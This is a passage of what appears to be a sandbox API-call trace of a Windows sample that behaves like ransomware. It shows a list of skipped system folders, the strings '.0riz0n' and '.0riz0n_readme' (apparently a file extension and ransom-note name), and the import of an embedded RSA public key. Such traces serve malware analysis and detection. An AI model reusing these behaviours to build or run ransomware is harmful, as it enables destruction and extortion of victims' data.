lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 12 [0223.165] RtlAllocateHeap (HeapHandle=0xf60000, Flags=0x8, Size=0x80) returned 0xf6db68 [0223.165] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xf6c1b0, cbMultiByte=12, lpWideCharStr=0xf6db68, cchWideChar=12 | out: lpWideCharStr="$RECYCLE.BIN") returned 12 [0223.166] RtlAllocateHeap (HeapHandle=0xf60000, Flags=0x8, Size=0x80) returned 0xf6dbf0 [0223.166] RtlFreeHeap (HeapHandle=0xf60000, Flags=0x0, BaseAddress=0xf6db68) returned 1 [0223.166] RtlAllocateHeap (HeapHandle=0xf60000, Flags=0x8, Size=0x8) returned 0xf6d238 [0223.166] RtlAllocateHeap (HeapHandle=0xf60000, Flags=0x8, Size=0x80) returned 0xf6db68 [0223.166] RtlFreeHeap (HeapHandle=0xf60000, Flags=0x0, BaseAddress=0xf6dbf0) returned 1 [0223.166] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xf6c168, cbMultiByte=8, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 8 [0223.166] RtlAllocateHeap (HeapHandle=0xf60000, Flags=0x8, Size=0x80) returned 0xf6dbf0 [0223.166] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xf6c168, cbMultiByte=8, lpWideCharStr=0xf6dbf0, cchWideChar=8 | out: lpWideCharStr="WebCache") returned 8 [0223.166] RtlAllocateHeap (HeapHandle=0xf60000, Flags=0x8, Size=0x80) returned 0xf6dc78 [0223.166] RtlFreeHeap (HeapHandle=0xf60000, Flags=0x0, BaseAddress=0xf6dbf0) returned 1 [0223.166] RtlAllocateHeap (HeapHandle=0xf60000, Flags=0x8, Size=0x8) returned 0xf6d228 [0223.166] RtlAllocateHeap (HeapHandle=0xf60000, Flags=0x8, Size=0x80) returned 0xf6dbf0 [0223.166] RtlFreeHeap (HeapHandle=0xf60000, Flags=0x0, BaseAddress=0xf6dc78) returned 1 [0223.166] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xf6c120, cbMultiByte=6, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 6 [0223.166] RtlAllocateHeap (HeapHandle=0xf60000, Flags=0x8, Size=0x80) returned 0xf6dc78 [0223.166] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xf6c120, cbMultiByte=6, lpWideCharStr=0xf6dc78, cchWideChar=6 | out: lpWideCharStr="Caches") returned 6 [0223.166] RtlAllocateHeap (HeapHandle=0xf60000, Flags=0x8, Size=0x80) returned 0xf6dd00 [0223.166] RtlFreeHeap (HeapHandle=0xf60000, Flags=0x0, BaseAddress=0xf6dc78) returned 1 [0223.166] RtlAllocateHeap (HeapHandle=0xf60000, Flags=0x8, Size=0x8) returned 0xf6d218 [0223.166] RtlAllocateHeap (HeapHandle=0xf60000, Flags=0x8, Size=0x80) returned 0xf6dc78 [0223.166] RtlFreeHeap (HeapHandle=0xf60000, Flags=0x0, BaseAddress=0xf6dd00) returned 1 [0223.166] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xf6c240, cbMultiByte=11, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 11 [0223.166] RtlAllocateHeap (HeapHandle=0xf60000, Flags=0x8, Size=0x80) returned 0xf6dd00 [0223.166] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xf6c240, cbMultiByte=11, lpWideCharStr=0xf6dd00, cchWideChar=11 | out: lpWideCharStr="WindowsApps") returned 11 [0223.166] RtlAllocateHeap (HeapHandle=0xf60000, Flags=0x8, Size=0x80) returned 0xf6dd88 [0223.166] RtlFreeHeap (HeapHandle=0xf60000, Flags=0x0, BaseAddress=0xf6dd00) returned 1 [0223.166] RtlAllocateHeap (HeapHandle=0xf60000, Flags=0x8, Size=0x20) returned 0xf6dd00 [0223.166] RtlFreeHeap (HeapHandle=0xf60000, Flags=0x0, BaseAddress=0xf6d5e8) returned 1 [0223.166] RtlAllocateHeap (HeapHandle=0xf60000, Flags=0x8, Size=0x8) returned 0xf6d208 [0223.166] RtlAllocateHeap (HeapHandle=0xf60000, Flags=0x8, Size=0x80) returned 0xf6de28 [0223.166] RtlFreeHeap (HeapHandle=0xf60000, Flags=0x0, BaseAddress=0xf6dd88) returned 1 [0223.166] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xf6c0d8, cbMultiByte=7, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 7 [0223.166] RtlAllocateHeap (HeapHandle=0xf60000, Flags=0x8, Size=0x80) returned 0xf6deb0 [0223.166] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xf6c0d8, cbMultiByte=7, lpWideCharStr=0xf6deb0, cchWideChar=7 | out: lpWideCharStr="AppData") returned 7 [0223.166] RtlAllocateHeap (HeapHandle=0xf60000, Flags=0x8, Size=0x80) returned 0xf6df38 [0223.166] RtlFreeHeap (HeapHandle=0xf60000, Flags=0x0, BaseAddress=0xf6deb0) returned 1 [0223.166] RtlAllocateHeap (HeapHandle=0xf60000, Flags=0x8, Size=0x8) returned 0xf6d1e8 [0223.167] RtlAllocateHeap (HeapHandle=0xf60000, Flags=0x8, Size=0x80) returned 0xf6deb0 [0223.167] RtlFreeHeap (HeapHandle=0xf60000, Flags=0x0, BaseAddress=0xf6df38) returned 1 [0223.167] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xf6c288, cbMultiByte=11, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 11 [0223.167] RtlAllocateHeap (HeapHandle=0xf60000, Flags=0x8, Size=0x80) returned 0xf6df38 [0223.167] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xf6c288, cbMultiByte=11, lpWideCharStr=0xf6df38, cchWideChar=11 | out: lpWideCharStr="ProgramData") returned 11 [0223.167] RtlAllocateHeap (HeapHandle=0xf60000, Flags=0x8, Size=0x80) returned 0xf6dfc0 [0223.167] RtlFreeHeap (HeapHandle=0xf60000, Flags=0x0, BaseAddress=0xf6df38) returned 1 [0223.167] RtlAllocateHeap (HeapHandle=0xf60000, Flags=0x8, Size=0x8) returned 0xf6d1f8 [0223.167] RtlAllocateHeap (HeapHandle=0xf60000, Flags=0x8, Size=0x80) returned 0xf6df38 [0223.167] RtlFreeHeap (HeapHandle=0xf60000, Flags=0x0, BaseAddress=0xf6dfc0) returned 1 [0223.167] RtlFreeHeap (HeapHandle=0xf60000, Flags=0x0, BaseAddress=0xf6c1f8) returned 1 [0223.167] RtlFreeHeap (HeapHandle=0xf60000, Flags=0x0, BaseAddress=0xf6d2c8) returned 1 [0223.167] RtlFreeHeap (HeapHandle=0xf60000, Flags=0x0, BaseAddress=0xf6c1b0) returned 1 [0223.167] RtlFreeHeap (HeapHandle=0xf60000, Flags=0x0, BaseAddress=0xf6d2d8) returned 1 [0223.167] RtlFreeHeap (HeapHandle=0xf60000, Flags=0x0, BaseAddress=0xf6c168) returned 1 [0223.167] RtlFreeHeap (HeapHandle=0xf60000, Flags=0x0, BaseAddress=0xf6d298) returned 1 [0223.167] RtlFreeHeap (HeapHandle=0xf60000, Flags=0x0, BaseAddress=0xf6c120) returned 1 [0223.167] RtlFreeHeap (HeapHandle=0xf60000, Flags=0x0, BaseAddress=0xf6d288) returned 1 [0223.167] RtlFreeHeap (HeapHandle=0xf60000, Flags=0x0, BaseAddress=0xf6c240) returned 1 [0223.167] RtlFreeHeap (HeapHandle=0xf60000, Flags=0x0, BaseAddress=0xf6d278) returned 1 [0223.167] RtlFreeHeap (HeapHandle=0xf60000, Flags=0x0, BaseAddress=0xf6c0d8) returned 1 [0223.167] RtlFreeHeap (HeapHandle=0xf60000, Flags=0x0, BaseAddress=0xf6d268) returned 1 [0223.167] RtlFreeHeap (HeapHandle=0xf60000, Flags=0x0, BaseAddress=0xf6c288) returned 1 [0223.167] RtlFreeHeap (HeapHandle=0xf60000, Flags=0x0, BaseAddress=0xf6d258) returned 1 [0223.167] RtlFreeHeap (HeapHandle=0xf60000, Flags=0x0, BaseAddress=0xf6bc08) returned 1 [0223.167] RtlAllocateHeap (HeapHandle=0xf60000, Flags=0x8, Size=0x2800) returned 0xf72850 [0223.167] RtlAllocateHeap (HeapHandle=0xf60000, Flags=0x8, Size=0x40) returned 0xf6c288 [0223.167] RtlFreeHeap (HeapHandle=0xf60000, Flags=0x0, BaseAddress=0xf6c288) returned 1 [0223.167] RtlAllocateHeap (HeapHandle=0xf60000, Flags=0x8, Size=0x10) returned 0xf6d5e8 [0223.167] RtlAllocateHeap (HeapHandle=0xf60000, Flags=0x8, Size=0x8) returned 0xf6d258 [0223.167] RtlAllocateHeap (HeapHandle=0xf60000, Flags=0x8, Size=0x40) returned 0xf6c288 [0223.167] RtlAllocateHeap (HeapHandle=0xf60000, Flags=0x8, Size=0x40) returned 0xf6c0d8 [0223.167] RtlFreeHeap (HeapHandle=0xf60000, Flags=0x0, BaseAddress=0xf6c0d8) returned 1 [0223.167] RtlFreeHeap (HeapHandle=0xf60000, Flags=0x0, BaseAddress=0xf6c288) returned 1 [0223.167] RtlFreeHeap (HeapHandle=0xf60000, Flags=0x0, BaseAddress=0xf6d258) returned 1 [0223.167] RtlFreeHeap (HeapHandle=0xf60000, Flags=0x0, BaseAddress=0xf6d5e8) returned 1 [0223.167] RtlFreeHeap (HeapHandle=0xf60000, Flags=0x0, BaseAddress=0xf72850) returned 1 [0223.167] RtlAllocateHeap (HeapHandle=0xf60000, Flags=0x8, Size=0x2800) returned 0xf72850 [0223.167] RtlAllocateHeap (HeapHandle=0xf60000, Flags=0x8, Size=0x40) returned 0xf6c288 [0223.168] RtlFreeHeap (HeapHandle=0xf60000, Flags=0x0, BaseAddress=0xf6c288) returned 1 [0223.168] RtlAllocateHeap (HeapHandle=0xf60000, Flags=0x8, Size=0x40) returned 0xf6c288 [0223.168] RtlAllocateHeap (HeapHandle=0xf60000, Flags=0x8, Size=0x10) returned 0xf6d5e8 [0223.168] RtlAllocateHeap (HeapHandle=0xf60000, Flags=0x8, Size=0x8) returned 0xf6d258 [0223.168] RtlAllocateHeap (HeapHandle=0xf60000, Flags=0x8, Size=0x40) returned 0xf6c0d8 [0223.168] RtlFreeHeap (HeapHandle=0xf60000, Flags=0x0, BaseAddress=0xf6c288) returned 1 [0223.168] RtlAllocateHeap (HeapHandle=0xf60000, Flags=0x8, Size=0x40) returned 0xf6c288 [0223.168] RtlAllocateHeap (HeapHandle=0xf60000, Flags=0x8, Size=0x8) returned 0xf6d268 [0223.168] RtlAllocateHeap (HeapHandle=0xf60000, Flags=0x8, Size=0x40) returned 0xf6c240 [0223.168] RtlFreeHeap (HeapHandle=0xf60000, Flags=0x0, BaseAddress=0xf6c288) returned 1 [0223.168] RtlAllocateHeap (HeapHandle=0xf60000, Flags=0x8, Size=0x40) returned 0xf6c288 [0223.168] RtlAllocateHeap (HeapHandle=0xf60000, Flags=0x8, Size=0x8) returned 0xf6d278 [0223.168] RtlAllocateHeap (HeapHandle=0xf60000, Flags=0x8, Size=0x40) returned 0xf6c120 [0223.168] RtlFreeHeap (HeapHandle=0xf60000, Flags=0x0, BaseAddress=0xf6c288) returned 1 [0223.168] RtlAllocateHeap (HeapHandle=0xf60000, Flags=0x8, Size=0x8) returned 0xf6d288 [0223.168] RtlAllocateHeap (HeapHandle=0xf60000, Flags=0x8, Size=0x40) returned 0xf6c288 [0223.168] RtlAllocateHeap (HeapHandle=0xf60000, Flags=0x8, Size=0x10) returned 0xf6d618 [0223.168] RtlAllocateHeap (HeapHandle=0xf60000, Flags=0x8, Size=0x8) returned 0xf6d298 [0223.168] RtlAllocateHeap (HeapHandle=0xf60000, Flags=0x8, Size=0x40) returned 0xf6c168 [0223.168] RtlAllocateHeap (HeapHandle=0xf60000, Flags=0x8, Size=0x8) returned 0xf6d2d8 [0223.168] RtlAllocateHeap (HeapHandle=0xf60000, Flags=0x8, Size=0x40) returned 0xf6c1b0 [0223.168] RtlAllocateHeap (HeapHandle=0xf60000, Flags=0x8, Size=0x8) returned 0xf6d2c8 [0223.168] RtlAllocateHeap (HeapHandle=0xf60000, Flags=0x8, Size=0x40) returned 0xf6c1f8 [0223.168] RtlAllocateHeap (HeapHandle=0xf60000, Flags=0x8, Size=0x8) returned 0xf6d2e8 [0223.168] RtlAllocateHeap (HeapHandle=0xf60000, Flags=0x8, Size=0x40) returned 0xf6c5e8 [0223.168] RtlFreeHeap (HeapHandle=0xf60000, Flags=0x0, BaseAddress=0xf6c0d8) returned 1 [0223.168] RtlFreeHeap (HeapHandle=0xf60000, Flags=0x0, BaseAddress=0xf6d258) returned 1 [0223.168] RtlFreeHeap (HeapHandle=0xf60000, Flags=0x0, BaseAddress=0xf6c240) returned 1 [0223.168] RtlFreeHeap (HeapHandle=0xf60000, Flags=0x0, BaseAddress=0xf6d268) returned 1 [0223.168] RtlFreeHeap (HeapHandle=0xf60000, Flags=0x0, BaseAddress=0xf6c120) returned 1 [0223.168] RtlFreeHeap (HeapHandle=0xf60000, Flags=0x0, BaseAddress=0xf6d278) returned 1 [0223.168] RtlFreeHeap (HeapHandle=0xf60000, Flags=0x0, BaseAddress=0xf6c288) returned 1 [0223.168] RtlFreeHeap (HeapHandle=0xf60000, Flags=0x0, BaseAddress=0xf6d288) returned 1 [0223.168] RtlFreeHeap (HeapHandle=0xf60000, Flags=0x0, BaseAddress=0xf6d5e8) returned 1 [0223.168] RtlAllocateHeap (HeapHandle=0xf60000, Flags=0x8, Size=0x40) returned 0xf6c288 [0223.168] RtlFreeHeap (HeapHandle=0xf60000, Flags=0x0, BaseAddress=0xf6c288) returned 1 [0223.168] RtlAllocateHeap (HeapHandle=0xf60000, Flags=0x8, Size=0x40) returned 0xf6c288 [0223.168] RtlFreeHeap (HeapHandle=0xf60000, Flags=0x0, BaseAddress=0xf6c288) returned 1 [0223.168] RtlAllocateHeap (HeapHandle=0xf60000, Flags=0x8, Size=0x40) returned 0xf6c288 [0223.168] RtlFreeHeap (HeapHandle=0xf60000, Flags=0x0, BaseAddress=0xf6c288) returned 1 [0223.169] RtlAllocateHeap (HeapHandle=0xf60000, Flags=0x8, Size=0x40) returned 0xf6c288 [0223.169] RtlFreeHeap (HeapHandle=0xf60000, Flags=0x0, BaseAddress=0xf6c288) returned 1 [0223.169] RtlAllocateHeap (HeapHandle=0xf60000, Flags=0x8, Size=0x10) returned 0xf6d5e8 [0223.169] RtlAllocateHeap (HeapHandle=0xf60000, Flags=0x8, Size=0x8) returned 0xf6d288 [0223.169] RtlAllocateHeap (HeapHandle=0xf60000, Flags=0x8, Size=0x40) returned 0xf6c288 [0223.169] RtlAllocateHeap (HeapHandle=0xf60000, Flags=0x8, Size=0x8) returned 0xf6d278 [0223.169] RtlAllocateHeap (HeapHandle=0xf60000, Flags=0x8, Size=0x40) returned 0xf6c120 [0223.169] RtlAllocateHeap (HeapHandle=0xf60000, Flags=0x8, Size=0x8) returned 0xf6d268 [0223.169] RtlAllocateHeap (HeapHandle=0xf60000, Flags=0x8, Size=0x40) returned 0xf6c240 [0223.169] RtlAllocateHeap (HeapHandle=0xf60000, Flags=0x8, Size=0x8) returned 0xf6d258 [0223.169] RtlAllocateHeap (HeapHandle=0xf60000, Flags=0x8, Size=0x40) returned 0xf6c0d8 [0223.169] RtlFreeHeap (HeapHandle=0xf60000, Flags=0x0, BaseAddress=0xf6c168) returned 1 [0223.169] RtlFreeHeap (HeapHandle=0xf60000, Flags=0x0, BaseAddress=0xf6d298) returned 1 [0223.169] RtlFreeHeap (HeapHandle=0xf60000, Flags=0x0, BaseAddress=0xf6c1b0) returned 1 [0223.169] RtlFreeHeap (HeapHandle=0xf60000, Flags=0x0, BaseAddress=0xf6d2d8) returned 1 [0223.169] RtlFreeHeap (HeapHandle=0xf60000, Flags=0x0, BaseAddress=0xf6c1f8) returned 1 [0223.169] RtlFreeHeap (HeapHandle=0xf60000, Flags=0x0, BaseAddress=0xf6d2c8) returned 1 [0223.169] RtlFreeHeap (HeapHandle=0xf60000, Flags=0x0, BaseAddress=0xf6c5e8) returned 1 [0223.169] RtlFreeHeap (HeapHandle=0xf60000, Flags=0x0, BaseAddress=0xf6d2e8) returned 1 [0223.169] RtlFreeHeap (HeapHandle=0xf60000, Flags=0x0, BaseAddress=0xf6d618) returned 1 [0223.169] RtlAllocateHeap (HeapHandle=0xf60000, Flags=0x8, Size=0x10) returned 0xf6d618 [0223.169] RtlAllocateHeap (HeapHandle=0xf60000, Flags=0x8, Size=0x8) returned 0xf6d2e8 [0223.169] RtlAllocateHeap (HeapHandle=0xf60000, Flags=0x8, Size=0x40) returned 0xf6c5e8 [0223.169] RtlAllocateHeap (HeapHandle=0xf60000, Flags=0x8, Size=0x8) returned 0xf6d2c8 [0223.169] RtlAllocateHeap (HeapHandle=0xf60000, Flags=0x8, Size=0x40) returned 0xf6c1f8 [0223.169] RtlAllocateHeap (HeapHandle=0xf60000, Flags=0x8, Size=0x8) returned 0xf6d2d8 [0223.169] RtlAllocateHeap (HeapHandle=0xf60000, Flags=0x8, Size=0x40) returned 0xf6c1b0 [0223.169] RtlAllocateHeap (HeapHandle=0xf60000, Flags=0x8, Size=0x8) returned 0xf6d298 [0223.169] RtlAllocateHeap (HeapHandle=0xf60000, Flags=0x8, Size=0x40) returned 0xf6c168 [0223.169] RtlFreeHeap (HeapHandle=0xf60000, Flags=0x0, BaseAddress=0xf6c288) returned 1 [0223.169] RtlFreeHeap (HeapHandle=0xf60000, Flags=0x0, BaseAddress=0xf6d288) returned 1 [0223.169] RtlFreeHeap (HeapHandle=0xf60000, Flags=0x0, BaseAddress=0xf6c120) returned 1 [0223.169] RtlFreeHeap (HeapHandle=0xf60000, Flags=0x0, BaseAddress=0xf6d278) returned 1 [0223.169] RtlFreeHeap (HeapHandle=0xf60000, Flags=0x0, BaseAddress=0xf6c240) returned 1 [0223.169] RtlFreeHeap (HeapHandle=0xf60000, Flags=0x0, BaseAddress=0xf6d268) returned 1 [0223.169] RtlFreeHeap (HeapHandle=0xf60000, Flags=0x0, BaseAddress=0xf6c0d8) returned 1 [0223.169] RtlFreeHeap (HeapHandle=0xf60000, Flags=0x0, BaseAddress=0xf6d258) returned 1 [0223.169] RtlFreeHeap (HeapHandle=0xf60000, Flags=0x0, BaseAddress=0xf6d5e8) returned 1 [0223.170] ExpandEnvironmentStringsA (in: lpSrc="%ProgramData%", lpDst=0xf72850, nSize=0x2800 | out: lpDst="C:\\ProgramData") returned 0xf [0223.170] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xf72850, cbMultiByte=14, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 14 [0223.170] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xf72850, cbMultiByte=14, lpWideCharStr=0xf6dfc0, cchWideChar=14 | out: lpWideCharStr="C:\\ProgramData") returned 14 [0223.170] ExpandEnvironmentStringsA (in: lpSrc="%windir%", lpDst=0xf72850, nSize=0x2800 | out: lpDst="C:\\Windows") returned 0xb [0223.170] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xf72850, cbMultiByte=10, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 10 [0223.170] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xf72850, cbMultiByte=10, lpWideCharStr=0xf6e048, cchWideChar=10 | out: lpWideCharStr="C:\\Windows") returned 10 [0223.170] ExpandEnvironmentStringsA (in: lpSrc="%temp%", lpDst=0xf72850, nSize=0x2800 | out: lpDst="C:\\Windows\\TEMP") returned 0x10 [0223.170] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xf72850, cbMultiByte=15, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 15 [0223.171] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xf72850, cbMultiByte=15, lpWideCharStr=0xf6e0d0, cchWideChar=15 | out: lpWideCharStr="C:\\Windows\\TEMP") returned 15 [0223.171] ExpandEnvironmentStringsA (in: lpSrc="%AppData%", lpDst=0xf72850, nSize=0x2800 | out: lpDst="C:\\Windows\\system32\\config\\systemprofile\\AppData\\Roaming") returned 0x39 [0223.171] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xf72850, cbMultiByte=56, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 56 [0223.171] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xf72850, cbMultiByte=56, lpWideCharStr=0xf6e158, cchWideChar=56 | out: lpWideCharStr="C:\\Windows\\system32\\config\\systemprofile\\AppData\\Roaming") returned 56 [0223.171] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xf75058, cbMultiByte=7, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 7 [0223.171] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xf75058, cbMultiByte=7, lpWideCharStr=0xf6e1e0, cchWideChar=7 | out: lpWideCharStr=".0riz0n") returned 7 [0223.171] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xf75058, cbMultiByte=14, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 14 [0223.171] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xf75058, cbMultiByte=14, lpWideCharStr=0xf6e268, cchWideChar=14 | out: lpWideCharStr=".0riz0n_readme") returned 14 [0223.171] WaitForSingleObject (hHandle=0xa0, dwMilliseconds=0xffffffff) returned 0x0 [0223.171] CryptStringToBinaryA (in: pszString="MIICIjANBgkqhkiG9w0BAQEFAAOCAg8AMIICCgKCAgEA0bHYo0dFAz3ykvvu0eMN\r\nM+TUym+ESdt2N0RC4MAqcA5TC00NdGq6WAcdGCxbVbrcChaSxzYwtcyLMbtqwbbW\r\nlewWYBAGPX7s6GDh2qWA6iOojNLGh5cpVz9v6Wst5p/v5ka6ocsS7ik0KVOGSBbT\r\n97Lia3dEt/8qACPM0yf2WNZ8EbJm1mmpYHrUHMqDqRFeSueCMisGA4g51cLO+5Ov\r\nz/VanHMTT1ktG+VcuXVmbaGsL7gjevLX8nNxK9l519irJ5ogH2o8izeCpVgjWP9o\r\nSQngzLq+4KPEwgp7DKcsq72XHbhxYo24jHJKyXDxsTub7b/W5cuJDurP+HmeV7Wz\r\nyp7GiZ/HCMdrI2Xmw9WLtinw4tRwDiAZjS2KxrbT4zIaWmf4hNDE5OC4VkuPznsy\r\nVyvuZV35ruECflNx7f5Yzg0KqnSx1BvuwUKkot5XbWEKI+8QjlFWa3EUYJ0hioBO\r\nM1tco2yIzaR/2A7hreFjHsZj2ndJiTDM9n40zEz69ZMMwsec/YX0aN9w2ZntOd9K\r\nLfA0iHci+YN4WzMjBJVDhPg591HM+lMRy+yaJ7xaxrnmQp4pg6LTvZ2ur2lXVYPT\r\nFhaTgawBjxgnss8VXct7ixajvlnk43rHbvVga6d7cUYuy3RZdnEwFh4W1VY10/fQ\r\nG0NRh8f7KZsGYuqnsuySNi8CAwEAAQ==\r\n", cchString=0x0, dwFlags=0x1, pbBinary=0x0, pcbBinary=0x53fca8, pdwSkip=0x0, pdwFlags=0x0 | out: pbBinary=0x0, pcbBinary=0x53fca8, pdwSkip=0x0, pdwFlags=0x0) returned 1 [0223.171] CryptStringToBinaryA (in: pszString="MIICIjANBgkqhkiG9w0BAQEFAAOCAg8AMIICCgKCAgEA0bHYo0dFAz3ykvvu0eMN\r\nM+TUym+ESdt2N0RC4MAqcA5TC00NdGq6WAcdGCxbVbrcChaSxzYwtcyLMbtqwbbW\r\nlewWYBAGPX7s6GDh2qWA6iOojNLGh5cpVz9v6Wst5p/v5ka6ocsS7ik0KVOGSBbT\r\n97Lia3dEt/8qACPM0yf2WNZ8EbJm1mmpYHrUHMqDqRFeSueCMisGA4g51cLO+5Ov\r\nz/VanHMTT1ktG+VcuXVmbaGsL7gjevLX8nNxK9l519irJ5ogH2o8izeCpVgjWP9o\r\nSQngzLq+4KPEwgp7DKcsq72XHbhxYo24jHJKyXDxsTub7b/W5cuJDurP+HmeV7Wz\r\nyp7GiZ/HCMdrI2Xmw9WLtinw4tRwDiAZjS2KxrbT4zIaWmf4hNDE5OC4VkuPznsy\r\nVyvuZV35ruECflNx7f5Yzg0KqnSx1BvuwUKkot5XbWEKI+8QjlFWa3EUYJ0hioBO\r\nM1tco2yIzaR/2A7hreFjHsZj2ndJiTDM9n40zEz69ZMMwsec/YX0aN9w2ZntOd9K\r\nLfA0iHci+YN4WzMjBJVDhPg591HM+lMRy+yaJ7xaxrnmQp4pg6LTvZ2ur2lXVYPT\r\nFhaTgawBjxgnss8VXct7ixajvlnk43rHbvVga6d7cUYuy3RZdnEwFh4W1VY10/fQ\r\nG0NRh8f7KZsGYuqnsuySNi8CAwEAAQ==\r\n", cchString=0x0, dwFlags=0x1, pbBinary=0xf77cf8, pcbBinary=0x53fca8, pdwSkip=0x0, pdwFlags=0x0 | out: pbBinary=0xf77cf8, pcbBinary=0x53fca8, pdwSkip=0x0, pdwFlags=0x0) returned 1 [0223.172] CryptDecodeObject (in: dwCertEncodingType=0x10001, lpszStructType=0x8, pbEncoded=0xf77cf8, cbEncoded=0x226, dwFlags=0x0, pvStructInfo=0x0, pcbStructInfo=0x53fca8 | out: pvStructInfo=0x0, pcbStructInfo=0x53fca8) returned 1 [0223.176] CryptDecodeObject (in: dwCertEncodingType=0x10001, lpszStructType=0x8, pbEncoded=0xf77cf8, cbEncoded=0x226, dwFlags=0x0, pvStructInfo=0xf77f40, pcbStructInfo=0x53fca8 | out: pvStructInfo=0xf77f40, pcbStructInfo=0x53fca8) returned 1 [0223.176] CryptImportPublicKeyInfo (in: hCryptProv=0x99e3a0, dwCertEncodingType=0x10001, pInfo=0xf77f40*(Algorithm.pszObjId="1.2.840.113549.1.1.1", Algorithm.Parameters.cbData=0x2, Algorithm.Parameters.pbData=0xf77f70*, PublicKey.cbData=0x20e, PublicKey.pbData=0xf77f78*, PublicKey.cUnusedBits=0x0), phKey=0x53fcac | out: phKey=0x53fcac*=0x99db60) returned 1 [0223.177] RtlFreeHeap (HeapHandle=0xf60000, Flags=0x0, BaseAddress=0xf77f40) returned 1 [0223.177] RtlFreeHeap (HeapHandle=0xf60000, Flags=0x0, BaseAddress=0xf77cf8) returned 1 [0223.177] ReleaseMutex (hMutex=0xa0) returned 1 [0223.177] RtlFreeHeap (HeapHandle=0xf60000, Flags=0x0, BaseAddress=0xf75058) returned 1 [0223.177] RtlAllocateHeap (HeapHandle=0xf60000, Flags=0x8, Size=0x2800) returned 0xf75058 [0223.177] RtlAllocateHeap (HeapHandle=0xf60000, Flags=0x8, Size=0x40) returned 0xf6c900 [0223.177] RtlFreeHeap (HeapHandle=0xf60000, Flags=0x0, BaseAddress=0xf6c900) returned 1 [0223.177] RtlFreeHeap (HeapHandle=0xf60000, Flags=0x0, BaseAddress=0xf75058) returned 1 [0223.177] RtlAllocateHeap (HeapHandle=0xf60000, Flags=0x8, Size=0x2800) returned 0xf75058 [0223.177] RtlAllocateHeap (HeapHandle=0xf60000, Flags=0x8, Size=0x40) returned 0xf6c900 [0223.177] RtlFreeHeap (HeapHandle=0xf60000, Flags=0x0, BaseAddress=0xf6c900) returned 1 [0223.177] RtlAllocateHeap (HeapHandle=0xf60000, Flags=0x8, Size=0x40) returned 0xf6c900 [0223.177] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xf6c900, cbMultiByte=9, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 9 [0223.177] RtlAllocateHeap (HeapHandle=0xf60000, Flags=0x8, Size=0x80) returned 0xf6e1e0 [0223.177] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xf6c900, cbMultiByte=9, lpWideCharStr=0xf6e1e0, cchWideChar=9 | out: lpWideCharStr="DISK.FULL") returned 9 [0223.177] RtlAllocateHeap (HeapHandle=0xf60000, Flags=0x8, Size=0x80) returned 0xf6e268 [0223.177] RtlFreeHeap (HeapHandle=0xf60000, Flags=0x0, BaseAddress=0xf6e1e0) returned 1 [0223.177] RtlFreeHeap (HeapHandle=0xf60000, Flags=0x0, BaseAddress=0xf6e268) returned 1 [0223.177] RtlFreeHeap (HeapHandle=0xf60000, Flags=0x0, BaseAddress=0xf6c900) returned 1 [0223.177] RtlFreeHeap (HeapHandle=0xf60000, Flags=0x0, BaseAddress=0xf75058) returned 1 [0223.177] RtlFreeHeap (HeapHandle=0xf60000, Flags=0x0, BaseAddress=0xf72850) returned 1 [0223.177] RtlFreeHeap (HeapHandle=0xf60000, Flags=0x0, BaseAddress=0xf6c0d8) returned 1 [0223.177] RtlFreeHeap (HeapHandle=0xf60000, Flags=0x0, BaseAddress=0xf6d258) returned 1 [0223.177] RtlFreeHeap (HeapHandle=0xf60000, Flags=0x0, BaseAddress=0xf6c240) returned 1 [0223.177] RtlFreeHeap (HeapHandle=0xf60000, Flags=0x0, BaseAddress=0xf6d268) returned 1 [0223.177] RtlFreeHeap 